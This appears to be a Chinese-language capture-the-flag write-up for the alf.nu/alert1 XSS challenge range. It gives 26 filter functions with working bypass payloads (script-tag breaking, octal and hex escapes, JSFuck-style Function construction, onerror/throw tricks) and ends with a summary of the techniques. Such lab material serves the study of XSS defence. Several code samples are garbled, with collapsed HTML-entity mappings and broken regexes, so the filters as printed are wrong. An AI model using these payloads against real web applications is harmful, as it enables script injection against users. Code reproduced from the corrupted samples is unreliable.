XSS靶场(alf.nu/alert1)部分题目详解(26/29)
字数 1289 2025-08-26 22:11:51
XSS靶场(alf.nu/alert1)题目详解与技巧总结
1. Warmup
源码:
function escape(s) {
return '<script>console.log("' + s + '");</script>';
}
分析:
- 直接拼接用户输入到JS字符串中
- 无任何过滤措施
Payload:
");alert(1)//
2. Adobe
源码:
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
分析:
- 双引号被转义为
\" - 两种绕过方法:
- 闭合script标签
- 转义转义符本身
Payload:
<\/script><script>alert(1)<\/script>
或
\");alert(1)//
3. JSON
源码:
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
Payload:
<\/script><script>alert(1)<\/script>
4. Markdown
源码:
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
text = text.replace(/
$$
\[(\w+)\|([^
$$
]+)\]\]/g, '');
return text;
}
Payload:
[[a|http://onerror=alert(1)//]]
5. DOM
源码:
function escape(s) {
var m = s.split(/#/);
var a = document.createElement('div');
a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
Payload:
Comment#><script>alert(1)</script>
6. Callback
源码:
function escape(s) {
var thing = s.split(/#/);
if (!/^[a-zA-Z
$$
$$
']+$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1]};
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json + ")</script>";
}
Payload:
'#';alert(1)//
7. Skandia
源码:
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
Payload:
<\/script>
8. Template
源码:
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return {'<':'<','>':'>','&':'&','"':'"',"'":'''}[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(/{(\w+)}/g, function(_,n) {
return htmlEscape(args[n]);
});
}
return expandTemplate("<h2>Hello, <span id=name></span>!</h2><script>var v = document.getElementById('name');v.innerHTML = '<a href=#>{name}</a>';<\/script>", {name:s});
}
Payload:
\x3cimg src onerror=alert(1)\x3e
9. JSON 2
源码:
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
Payload:
<\/<\/scriptscript><script>alert(1)\/\/
10. Callback 2
源码:
function escape(s) {
var thing = s.split(/#/);
if (!/^[a-zA-Z
$$
$$
']+$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1]};
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json + ")</script>";
}
Payload:
'#';alert(1)<!--
11. Skandia 2
源码:
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
Payload:
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
12. iframe
源码:
function escape(s) {
var tag = document.createElement('iframe');
s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);
window.WINNING = function() { youWon = true; };
tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}
Payload:
name="youWon"
13. TI(S)M
源码:
function escape(text) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) { return '&#' + s.charCodeAt(0) + ';'; }); }
return ('<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>');
}
Payload:
if(alert(1)/*<!--<script>
14. JSON 3
源码:
function escape(s) {
return s.split('#').map(function(v) {
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log(' + json + ')</script>';
}).join('');
}
Payload:
<!--<script>#)/;alert(1)//-->
15. Skandia 3
源码:
function escape(s) {
if (/[\\<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
Payload:
");[][([3]+({}+[])[1]+(!![]+[])[1]+(!![]+[])[0]][({}+[])[5]+({}+[])[1]+([][[]]+[])[1]+([3]+(!![]+[])[0]+(!![]+[])[1]+(!![]+[])[2]+({}+[])[5]+(!![]+[])[0]+({}+[])[1]+(!![]+[])[1]](([1]+([2]+([4]+(!![]+[])[1]+(!![]+[])[0]+'(1)')()//
16. RFC4627
源码:
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() { alert(i++) };
if (!(/[0-9.\-+Eaeflnr-u \n\r\t]/.test(text.replace(/"(\\.|[^"])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch (_) {
console.log('Crashed: ' + _);
}
} else {
console.log('Rejected.');
}
}
Payload:
{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
17. Well
源码:
function escape(s) {
s = s.replace(/[\r\n\u2028\u2029\\;(),[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}
Payload:
'+new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`+'
18. No
源码:
function escape(s) {
s = s.replace(/[()`<]/g, '');
return '<script>\n' + 'var string = "' + s + '";\n' + 'console.log(string);\n' + '</script>';
}
Payload:
";onerror=eval;throw'=alert\x281\x29'//
19. K'Z'K 1
源码:
function escape(s) {
s = s.replace(/[aeiouy]/gi, '');
return '<script>console.log("' + s + '");</script>';
}
Payload:
");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
20. K'Z'K 2
源码:
function escape(s) {
s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}
Payload:
");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//
21. K'Z'K 3
源码:
function escape(s) {
s = s.replace(/[aeiouy]/gi, '');
s = s.replace(/[{}!=<>\\]/g, '');
return '<script>console.log("' + s + '");</script>';
}
Payload:
");[]["m"+(1+[][0]+[])[1]+"p"]["c"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"nstr"+([][[]]+[])[0]+"ct"+([]["m"+(1+[][0]+[])[1]+"p"]+[])[26]+"r"]((1+[][0]+[])[1]+"l"+([][[]]+[])[3]+"rt(1)")()//
22. Fruit
源码:
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
Payload:
<iframe t onload=alert(1)>
23. Fruit 2
源码:
function escape(s) {
var div = document.implementation.createHTMLDocument().createElement('div');
div.innerHTML = s;
function f(n) {
if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
for (var i = 0; i < n.attributes.length; i++) {
var name = n.attributes[i].name;
if (name !== 'class') {
n.removeAttribute(name);
}
}
}
[].map.call(div.querySelectorAll('*'), f);
return div.innerHTML;
}
Payload:
<iframe t onload=alert(1)>
24. Capitals
源码:
function escape(s) {
var capitals = {
"CA": {"AB":"Edmonton", "BC":"Victoria", "MB":"Winnipeg"},
"US": {
"AL": ((year) => year < 1846 ? "Tuscaloosa" : "Montgomery"),
"AK":"Juneau", "AR":"Phoenix"
},
};
function capitalOf(country, stateOrProvinceName, year) {
var capital = capitals[country][stateOrProvinceName];
if (typeof capital === 'function') {
capital = capital(year);
}
return capital
}
var inputs = (s || "").split(/#/g);
return '<b>' + capitalOf(inputs[0], inputs[1], inputs[2]) + '</b>';
}
Payload:
CA#constructor#<\/b><script>alert(1)</script>
25. Entities
源码:
function escape(s) {
function htmlentities(s) {
return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
}
s = htmlentities(s);
return `<script>var obj = {}; obj["${s}"] = "${s}";</script>`;
}
Payload:
];alert(1)//\
26. %level%
源码:
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}
Payload:
$'$`alert(1)//
关键技巧总结
- 闭合字符串与注释:最基本的XSS技巧,通过闭合引号和添加注释来执行任意JS代码
- 标签闭合绕过:当引号被转义时,通过闭合script标签再新建script标签执行代码
- 编码绕过:
- 使用十六进制编码(\x3c)
- 使用八进制编码(\155)
- HTML实体编码(a)
- 正则特性利用:
- 双写绕过(</script → </</scriptscript>)
- 使用\('和\)`获取匹配前后内容
- JSFuck技术:当字符被严格过滤时,使用JSFuck构造可执行代码
- DOM操作特性:
- 利用attributes.length动态变化特性保留属性
- 利用iframe的name属性设置全局变量
- 匿名函数构造:通过数组方法的constructor属性构造Function执行代码
- 异常处理:通过onerror和throw执行代码
- 模板字符串:使用ES6模板字符串和String.fromCharCode绕过字符限制
- JSON特性:利用JSON.stringify和eval的交互特性执行代码
这些技巧展示了XSS攻击的多样性和创造性,同时也强调了防御XSS需要多层次的防护措施。